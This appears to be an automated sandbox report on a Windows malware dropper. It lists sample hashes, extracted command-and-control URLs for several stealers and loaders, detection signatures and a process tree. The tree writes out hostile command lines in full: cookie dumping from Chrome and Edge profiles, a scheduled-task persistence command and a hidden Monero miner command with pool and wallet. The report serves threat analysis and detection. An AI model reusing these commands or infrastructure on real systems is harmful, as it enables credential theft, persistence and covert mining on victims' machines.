Analysis
-
max time kernel
32s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
31-12-2023 04:26
Static task
static1
General
-
Target
281c7ba6787d047d9eff840c79c19816.exe
-
Size
4.0MB
-
MD5
281c7ba6787d047d9eff840c79c19816
-
SHA1
1b41a63ce815c055038824ecd67fb606a2210fc7
-
SHA256
aa9b8b79b9b4e0478e85c4ae5b08c15aadea45cac7617de2c298070fd781748e
-
SHA512
8ba03a346dc3246abd8af0768f20c71cf875de6554dfa961c17de373fe28f6252a3c263238760148a208d830e53fb399b8bafceaa2f678c94b891a08b517dfc4
-
SSDEEP
98304:JH4fPHwHNLfwCFx7zWBBWUhT0BRQf6608yFLBiMt/cwC:JYnQtz/WBcEIKVML1qwC
Malware Config
Extracted
nullmixer
http://watira.xyz/
Extracted
vidar
39.9
706
https://prophefliloc.tumblr.com/
-
profile_id
706
Extracted
smokeloader
pub5
Extracted
smokeloader
2020
http://aucmoney.com/upload/
http://thegymmum.com/upload/
http://atvcampingtrips.com/upload/
http://kuapakualaman.com/upload/
http://renatazarazua.com/upload/
http://nasufmutlu.com/upload/
Extracted
redline
OLKani
ataninamei.xyz:80
Signatures
-
Detect Fabookie payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_9.txt family_fabookie C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_9.exe family_fabookie -
PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/5108-263-0x0000000000400000-0x000000000041E000-memory.dmp family_redline -
SectopRAT payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/5108-263-0x0000000000400000-0x000000000041E000-memory.dmp family_sectoprat -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Nirsoft 8 IoCs
Processes:
resource yara_rule behavioral2/memory/4464-176-0x0000000000400000-0x000000000045B000-memory.dmp Nirsoft behavioral2/memory/3936-185-0x0000000000400000-0x000000000045B000-memory.dmp Nirsoft behavioral2/memory/924-219-0x0000000000400000-0x000000000045B000-memory.dmp Nirsoft behavioral2/memory/4968-227-0x0000000000400000-0x000000000045B000-memory.dmp Nirsoft behavioral2/memory/3500-255-0x0000000000400000-0x000000000045B000-memory.dmp Nirsoft behavioral2/memory/2516-251-0x0000000000400000-0x000000000045B000-memory.dmp Nirsoft behavioral2/memory/1088-276-0x0000000000400000-0x000000000045B000-memory.dmp Nirsoft behavioral2/memory/3892-269-0x0000000000400000-0x000000000045B000-memory.dmp Nirsoft -
Vidar Stealer 4 IoCs
Processes:
resource yara_rule behavioral2/memory/3756-150-0x0000000000400000-0x0000000002CC3000-memory.dmp family_vidar behavioral2/memory/3756-154-0x0000000004960000-0x00000000049FD000-memory.dmp family_vidar behavioral2/memory/3756-155-0x0000000000400000-0x0000000002CC3000-memory.dmp family_vidar behavioral2/memory/3756-196-0x0000000000400000-0x0000000002CC3000-memory.dmp family_vidar -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\setup_install.exe aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\libcurlpp.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\libstdc++-6.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\libcurl.dll aspack_v212_v242 -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
281c7ba6787d047d9eff840c79c19816.exesetup_installer.exesonia_1.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation 281c7ba6787d047d9eff840c79c19816.exe Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation setup_installer.exe Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation sonia_1.exe -
Executes dropped EXE 14 IoCs
Processes:
setup_installer.exesetup_install.exesonia_2.exesonia_1.exesonia_3.exesonia_4.exesonia_5.exesonia_9.exesonia_7.exesonia_8.exesonia_6.exesonia_1.exesonia_5.tmpchrome2.exepid process 2252 setup_installer.exe 2176 setup_install.exe 8 sonia_2.exe 4252 sonia_1.exe 3756 sonia_3.exe 4748 sonia_4.exe 1588 sonia_5.exe 4372 sonia_9.exe 4592 sonia_7.exe 4400 sonia_8.exe 1272 sonia_6.exe 2380 sonia_1.exe 4780 sonia_5.tmp 3420 chrome2.exe -
Loads dropped DLL 7 IoCs
Processes:
setup_install.exesonia_5.tmppid process 2176 setup_install.exe 2176 setup_install.exe 2176 setup_install.exe 2176 setup_install.exe 2176 setup_install.exe 2176 setup_install.exe 4780 sonia_5.tmp -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx behavioral2/memory/4464-176-0x0000000000400000-0x000000000045B000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx behavioral2/memory/3936-185-0x0000000000400000-0x000000000045B000-memory.dmp upx behavioral2/memory/924-219-0x0000000000400000-0x000000000045B000-memory.dmp upx behavioral2/memory/4968-227-0x0000000000400000-0x000000000045B000-memory.dmp upx behavioral2/memory/3500-255-0x0000000000400000-0x000000000045B000-memory.dmp upx behavioral2/memory/2516-251-0x0000000000400000-0x000000000045B000-memory.dmp upx behavioral2/memory/1088-276-0x0000000000400000-0x000000000045B000-memory.dmp upx behavioral2/memory/3892-269-0x0000000000400000-0x000000000045B000-memory.dmp upx -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 41 ip-api.com 39 ipinfo.io 40 ipinfo.io -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 2 IoCs
Processes:
WerFault.exeWerFault.exepid pid_target process target process 2288 2176 WerFault.exe setup_install.exe 5032 3756 WerFault.exe sonia_3.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
sonia_2.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 5060 schtasks.exe 4612 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
sonia_2.exepid process 8 sonia_2.exe 8 sonia_2.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
281c7ba6787d047d9eff840c79c19816.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exesonia_1.exesonia_5.exedescription pid process target process PID 1412 wrote to memory of 2252 1412 281c7ba6787d047d9eff840c79c19816.exe setup_installer.exe PID 1412 wrote to memory of 2252 1412 281c7ba6787d047d9eff840c79c19816.exe setup_installer.exe PID 1412 wrote to memory of 2252 1412 281c7ba6787d047d9eff840c79c19816.exe setup_installer.exe PID 2252 wrote to memory of 2176 2252 setup_installer.exe setup_install.exe PID 2252 wrote to memory of 2176 2252 setup_installer.exe setup_install.exe PID 2252 wrote to memory of 2176 2252 setup_installer.exe setup_install.exe PID 2176 wrote to memory of 1636 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 1636 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 1636 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 3416 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 3416 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 3416 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 2668 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 2668 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 2668 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 2080 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 2080 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 2080 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 3868 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 3868 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 3868 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 1504 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 1504 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 1504 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 552 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 552 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 552 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 4608 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 4608 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 4608 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 4704 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 4704 2176 setup_install.exe cmd.exe PID 2176 wrote to memory of 4704 2176 setup_install.exe cmd.exe PID 3416 wrote to memory of 8 3416 cmd.exe sonia_2.exe PID 3416 wrote to memory of 8 3416 cmd.exe sonia_2.exe PID 3416 wrote to memory of 8 3416 cmd.exe sonia_2.exe PID 1636 wrote to memory of 4252 1636 cmd.exe sonia_1.exe PID 1636 wrote to memory of 4252 1636 cmd.exe sonia_1.exe PID 1636 wrote to memory of 4252 1636 cmd.exe sonia_1.exe PID 2668 wrote to memory of 3756 2668 cmd.exe sonia_3.exe PID 2668 wrote to memory of 3756 2668 cmd.exe sonia_3.exe PID 2668 wrote to memory of 3756 2668 cmd.exe sonia_3.exe PID 2080 wrote to memory of 4748 2080 cmd.exe sonia_4.exe PID 2080 wrote to memory of 4748 2080 cmd.exe sonia_4.exe PID 2080 wrote to memory of 4748 2080 cmd.exe sonia_4.exe PID 3868 wrote to memory of 1588 3868 cmd.exe sonia_5.exe PID 3868 wrote to memory of 1588 3868 cmd.exe sonia_5.exe PID 3868 wrote to memory of 1588 3868 cmd.exe sonia_5.exe PID 4704 wrote to memory of 4372 4704 cmd.exe sonia_9.exe PID 4704 wrote to memory of 4372 4704 cmd.exe sonia_9.exe PID 4704 wrote to memory of 4372 4704 cmd.exe sonia_9.exe PID 552 wrote to memory of 4592 552 cmd.exe sonia_7.exe PID 552 wrote to memory of 4592 552 cmd.exe sonia_7.exe PID 552 wrote to memory of 4592 552 cmd.exe sonia_7.exe PID 4608 wrote to memory of 4400 4608 cmd.exe sonia_8.exe PID 4608 wrote to memory of 4400 4608 cmd.exe sonia_8.exe PID 4608 wrote to memory of 4400 4608 cmd.exe sonia_8.exe PID 1504 wrote to memory of 1272 1504 cmd.exe sonia_6.exe PID 1504 wrote to memory of 1272 1504 cmd.exe sonia_6.exe PID 4252 wrote to memory of 2380 4252 sonia_1.exe sonia_1.exe PID 4252 wrote to memory of 2380 4252 sonia_1.exe sonia_1.exe PID 4252 wrote to memory of 2380 4252 sonia_1.exe sonia_1.exe PID 1588 wrote to memory of 4780 1588 sonia_5.exe sonia_5.tmp PID 1588 wrote to memory of 4780 1588 sonia_5.exe sonia_5.tmp
Processes
-
C:\Users\Admin\AppData\Local\Temp\281c7ba6787d047d9eff840c79c19816.exe"C:\Users\Admin\AppData\Local\Temp\281c7ba6787d047d9eff840c79c19816.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1412 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2176 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_9.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4704 -
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_9.exesonia_9.exe5⤵
- Executes dropped EXE
PID:4372 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵PID:4464
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /DeleteCookiesWildcard "*.facebook.com"6⤵PID:3936
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵PID:924
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"6⤵PID:4968
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵PID:2516
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"6⤵PID:3500
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵PID:3892
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"6⤵PID:1088
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_8.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_8.exesonia_8.exe5⤵
- Executes dropped EXE
PID:4400 -
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_8.exeC:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_8.exe6⤵PID:5108
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_7.exe4⤵
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_6.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_5.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3868 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_4.exe4⤵
- Suspicious use of WriteProcessMemory
PID:2080 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_3.exe4⤵
- Suspicious use of WriteProcessMemory
PID:2668 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_2.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3416 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_1.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2176 -s 5604⤵
- Program crash
PID:2288
-
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_7.exesonia_7.exe1⤵
- Executes dropped EXE
PID:4592
-
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_6.exesonia_6.exe1⤵
- Executes dropped EXE
PID:1272
-
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_5.exesonia_5.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1588 -
C:\Users\Admin\AppData\Local\Temp\is-QVQSG.tmp\sonia_5.tmp"C:\Users\Admin\AppData\Local\Temp\is-QVQSG.tmp\sonia_5.tmp" /SL5="$8002E,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_5.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4780
-
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_3.exesonia_3.exe1⤵
- Executes dropped EXE
PID:3756 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3756 -s 15842⤵
- Program crash
PID:5032
-
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_4.exesonia_4.exe1⤵
- Executes dropped EXE
PID:4748 -
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"2⤵
- Executes dropped EXE
PID:3420 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit3⤵PID:3664
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"3⤵PID:3468
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit4⤵PID:2504
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'5⤵
- Creates scheduled task(s)
PID:4612 -
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"4⤵PID:4964
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.main/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6BJ+edII5Fll530cZ/+msGEWovb73nU3RrOnuNmRoFcg" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth4⤵PID:2676
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"2⤵PID:4764
-
C:\Windows\winnetdriv.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" 1704172546 03⤵PID:4484
-
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_1.exesonia_1.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4252 -
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_1.exe"C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_1.exe" -a2⤵
- Executes dropped EXE
PID:2380
-
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_2.exesonia_2.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:8
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2176 -ip 21761⤵PID:2052
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 3756 -ip 37561⤵PID:4748
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'1⤵
- Creates scheduled task(s)
PID:5060
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
218KB
MD5d09be1f47fd6b827c81a4812b4f7296f
SHA1028ae3596c0790e6d7f9f2f3c8e9591527d267f7
SHA2560de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e
SHA512857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595
-
Filesize
54KB
MD5e6e578373c2e416289a8da55f1dc5e8e
SHA1b601a229b66ec3d19c2369b36216c6f6eb1c063e
SHA25643e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f
SHA5129df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89
-
Filesize
113KB
MD59aec524b616618b0d3d00b27b6f51da1
SHA164264300801a353db324d11738ffed876550e1d3
SHA25659a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e
SHA5120648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0
-
Filesize
42KB
MD58cc9060d4fc1d5eef98249f47d39c746
SHA14777821114af24861c3095eb3ac9c89b70ca8b38
SHA256bf973bee3d88590702e079641505072223eec169aed8117328ba7e75c496c8ab
SHA512f26d012695eec4225aea2eb7affd73008faf2b02c11c18c678b79d593ae578000e3317b054768a4777e6ca982edfb806772675e198b0bc4d8d3c2c8420caa2c9
-
Filesize
647KB
MD55e279950775baae5fea04d2cc4526bcc
SHA18aef1e10031c3629512c43dd8b0b5d9060878453
SHA25697de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87
SHA512666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02
-
Filesize
69KB
MD51e0d62c34ff2e649ebc5c372065732ee
SHA1fcfaa36ba456159b26140a43e80fbd7e9d9af2de
SHA256509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723
SHA5123653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61
-
Filesize
287KB
MD57a82c73b9a1b6bf3d2aefe2f3740a564
SHA11debd41cb9589c9ebc50b0e370d6d8da565be370
SHA25635a72b874265e4109dd7d94a37c4417b8fb71a158c4ad10100ef112480b4a8bf
SHA51261c110e3f12b31fb429afc2fc5b074ab6d4665a8e1b716660bc3f4ef8360ab4187d6137b553430e104998307a849ac9a5db206a2ac20665e890e9bb4c88d6787
-
Filesize
56KB
MD5c0d18a829910babf695b4fdaea21a047
SHA1236a19746fe1a1063ebe077c8a0553566f92ef0f
SHA25678958d664b1c140f2b45e56c4706108eeb5f14756977e2efd3409f8a788d3c98
SHA512cca06a032d8232c0046c6160f47b8792370745b47885c2fa75308abc3df76dcc5965858b004c1aad05b8cd8fbb9a359077be1b97ec087a05d740145030675823
-
Filesize
57KB
MD5b61e7c8808a6aeff45299b2524cb1a95
SHA16595885d9cac2764bb57f1cbaff23ee9e35d1f74
SHA256bef345787002b93d2b863e7e338e2f462afe7990e7b0ba6bf5effaf30b829be7
SHA51292a710b42738b07bd9342072966acbb602b8c19ebf744d7274ba8f08e3b8a185b48094485c4bb4ec1e23cbec84634368a5d000f4c045cf4a37a3c359a391f119
-
Filesize
178KB
MD5df63a9bc141064c6115fcc889abf3b8c
SHA1040d6ed844e41647fbc0ee0ad5db14bb94b50131
SHA256c9f36e88dac9aa0c0653df695e3e50a123fb0dd63692312d5cacbf5479530446
SHA5123270ce7f1d4da1b4e88264b439f82bd1e95e3ef1549b90edcfdc6fadd50bb12bda8fcbb0144f5902b2339f8834d3b9b0686591708cbd655d40dd093c2976a815
-
Filesize
560KB
MD5d5150e7c78eac749b00f0c0d803914f4
SHA1ff00396e2d2c029738453ec66bf63a8d39512c83
SHA25661e83ca939ee966f83663418b9bc88987370f25ee5f1897c4928507be5c54332
SHA5128d891f3986952ec0a065287f36ef6ae4366e09501c587b45f993c6353111e1d326431d586e3aed5e6f843a627b635bd460c31efd4ce801a82d675c52bf6d5e60
-
Filesize
211KB
MD52196970ef6c6bd1d8c78a3016965c145
SHA117cb07e0ee5ee82f7fe4820bd3422cc9c4eeb487
SHA256236cf5afe5c36318a696b3a72f12e5e6559ceed1faf08eecf8542e8077b6c94c
SHA512fceee96e27bb4337d7f89f3e439bde62b251501966549384a4fa9bda5ae1f852558bed76b5d0dcca454ad2499ab26c78001794653209b900fca1c2f69df0b927
-
Filesize
28KB
MD56256324adebccae067063ec64619ec01
SHA115f5c6590e0295f9f6f54a1bfc3988c17b1345d0
SHA2566f7a65da9fb30461ba43208e499f34b360881563eb339af38dc67a2d47017c4e
SHA5129c7832468dc6dc9e6f986258ade1d621d512ac69847f22c08822d5ba21d46b44f6e9bce976c32116331b704216a9584def2fa4ce662a4899e9d4b5d826157958
-
Filesize
289KB
MD5ada981fe0dabe48e105f5314cfd34a4e
SHA1d4d04f50c57e7b296ec7e2548bf3359a5af9c209
SHA256c75e7758abf7f8d9988df114ff6c8d30028a4c3e18a3b1113f892781b657a85d
SHA512aec0dc9e9ecad1121bef197ec0a66ba17dda17bf78d9e6d44ef20efe436dd39b5069538dcb3eef7c4f963594bd2d6949d359dfb371042111e26b6a7910931b05
-
Filesize
76KB
MD5761ce037cbee9dd5ab4618525988496c
SHA1a52d2865df04c93e1d31c382073eb7fb323ab998
SHA2569545fad741b79a7e1237d7e4ebc4f783de408bbbdacb61eec50f921f28bdb7b9
SHA512fb82f5cabcaf353ac5d11e29f7c85aea77aba3fd9357546e8d249f0f7df76ae24d718a4035a864ed8fbf6d573f3557b407d701c1e2997c7bf73953ef4dd02143
-
Filesize
205KB
MD5e067b0b74aff3609d8f71ff7375f25d7
SHA18857195018560d431a0f7ad1f8fac1a059e3a38e
SHA256b3e2deaa9fdeac58349018c5415efb53c7b3397ceef77bf0d83ada5a627c8f11
SHA5121afdb77379ffceb07c4906a2ab22da6ec6c0b1dd908b7b45f18deb736aa92cb5d8ec706f252a62a064bae70746260239c30f7a460413fe730d25db5b77465bc2
-
Filesize
26KB
MD5222d4200d6c2b73ff813c472574fa8a8
SHA1ff5af087d33986ea371d037831f4152f9941f165
SHA2560fe761e033e51ccb97cd7af67cbe872f820dd4959b281af81976681b5afc0aa8
SHA5120a1ed129fd88290bbf953d38dd8a1b0a7885e9307e964bc1fadcade5d07543ffe3bfef54cefffd9fde4fee7c6388536589c88ae76ce99d6663ef3c462729929b
-
Filesize
200KB
MD5e1ccf1fd5a4e6c1edb774a42ccee2b7b
SHA167ba5d76ea49aa6dc3d94027966a05c4c8adfabd
SHA256be958aa7672b7eeabd668cd8c0893eb22b84ab490dbef447b142e191b4ef97e0
SHA512cbc421b0e803cf1fd85171fc653fc5c26f45aaa02971cec2000d3c0d7fead07f39300ccbe3c11b21bd0938baca95b32d95235926c86f02677594378bc97ad8b0
-
Filesize
43KB
MD5e5b337a345d9e81b9087c295aa2b4136
SHA1fcd8e4027099371dca95148efa06fb7e4a4812c3
SHA256c232b872e2d9d97be812d323dad87d4201365bdf64cdaae3a51d2c3a691534f2
SHA51277244dbd3b581240334580cef76343cea2ed1f0ee86ad97aa167b5b751ed00c97b4d5a16ebcac4ad41b561313baa9204755e20abc601ca803d7854287b2d4cfc
-
Filesize
253KB
MD5e17c0faa31daa0a67304020496a5628e
SHA155458ee48312567c657dac7e324cdbca338928cd
SHA256a60008adf056b92195c60d9e22435b863b6c1f1d40e12e5d830a28e3831166c1
SHA512d8452fee7794ca810894e11c5b0b8227b30c8cd707b3ae64a9b29abb7bad0d3f1e1e8a9aeaab43a1c17cca854e5b9c40885db8a4a8730affaa303e4682dc718a
-
Filesize
21KB
MD548f54e05963f2f9fac356613b4fae183
SHA13fb94918bd982df89c44ce37d82e602814a390fd
SHA25683283877a323769ce2195a92eafd8865143ea05612445b4583af9a7ad2192b93
SHA512217851ae0f056c031e7e89f3668688eea41856472133451d04238acd5b26b7c6a8996663c148e235a6b20ec9f2c337f33e4dd15929700d5d5085191e85a48282
-
Filesize
397KB
MD57c61996bdaf647b491d88063caecbf0c
SHA138f6448a659e294468ee40f7dfebf1277c3771f1
SHA256de67bb06f8462526665e4b791f5b90f3e2c248eec21f4cab5954b322eed25d46
